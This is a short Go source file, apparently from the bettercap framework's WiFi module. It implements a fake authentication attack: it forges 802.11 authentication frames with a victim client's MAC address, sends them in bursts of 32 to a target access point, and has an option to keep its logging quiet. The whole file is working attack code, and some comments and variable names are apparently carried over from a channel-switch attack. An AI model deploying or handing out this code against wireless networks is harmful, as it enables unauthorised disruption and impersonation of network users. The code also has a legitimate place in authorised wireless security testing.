| 1 | package wifi |
| 2 | |
| 3 | import ( |
| 4 | "bytes" |
| 5 | "fmt" |
| 6 | "github.com/bettercap/bettercap/network" |
| 7 | "github.com/bettercap/bettercap/packets" |
| 8 | "net" |
| 9 | ) |
| 10 | |
| 11 | |
| 12 | func (mod *WiFiModule) isFakeAuthSilent() bool { |
| 13 | if err, is := mod.BoolParam("wifi.fake_auth.silent"); err != nil { |
| 14 | mod.Warning("%v", err) |
| 15 | } else { |
| 16 | mod.csaSilent = is |
| 17 | } |
| 18 | return mod.csaSilent |
| 19 | } |
| 20 | |
| 21 | func(mod *WiFiModule)sendFakeAuthPacket(bssid,client net.HardwareAddr){ |
| 22 | err,pkt:=packets.NewDot11Auth(client,bssid,0) |
| 23 | if err!=nil{ |
| 24 | mod.Error("could not create authentication packet: %s", err) |
| 25 | return |
| 26 | } |
| 27 | for i:=0;i<32;i++{ |
| 28 | mod.injectPacket(pkt) |
| 29 | } |
| 30 | } |
| 31 | |
| 32 | func (mod *WiFiModule) startFakeAuth(bssid,client net.HardwareAddr) error { |
| 33 | // if not already running, temporarily enable the pcap handle |
| 34 | // for packet injection |
| 35 | if !mod.Running() { |
| 36 | if err := mod.Configure(); err != nil { |
| 37 | return err |
| 38 | } |
| 39 | defer mod.handle.Close() |
| 40 | } |
| 41 | |
| 42 | var ap *network.AccessPoint = nil |
| 43 | |
| 44 | for _, _ap := range mod.Session.WiFi.List() { |
| 45 | if bytes.Equal(_ap.HW, bssid) { |
| 46 | ap = _ap |
| 47 | } |
| 48 | } |
| 49 | |
| 50 | if ap == nil { |
| 51 | return fmt.Errorf("%s is an unknown BSSID", bssid.String()) |
| 52 | } |
| 53 | |
| 54 | mod.writes.Add(1) |
| 55 | go func() { |
| 56 | defer mod.writes.Done() |
| 57 | |
| 58 | if mod.Running() { |
| 59 | logger := mod.Info |
| 60 | if mod.isFakeAuthSilent() { |
| 61 | logger = mod.Debug |
| 62 | } |
| 63 | logger("fake authentication attack in AP: %s client: %s", ap.ESSID(), client.String()) |
| 64 | // send the beacon frame with channel switch announce element id |
| 65 | mod.onChannel(ap.Channel, func() { |
| 66 | mod.sendFakeAuthPacket(bssid,client) |
| 67 | }) |
| 68 | } |
| 69 | }() |
| 70 | return nil |
| 71 | } |